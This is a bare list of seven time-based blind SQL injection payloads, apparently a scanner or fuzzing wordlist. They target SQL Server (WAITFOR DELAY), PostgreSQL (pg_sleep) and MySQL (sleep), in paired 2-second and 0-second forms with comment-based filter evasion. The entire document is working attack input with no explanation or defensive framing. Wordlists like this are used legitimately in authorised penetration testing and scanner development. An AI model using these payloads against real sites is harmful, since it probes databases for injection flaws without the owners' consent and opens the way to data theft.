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'and(select+1)>0waitfor/**/delay'0:0:2

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'/**/and(select'1'from/**/pg_sleep(0))>'0

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(2))a/**/union/**/select+1)='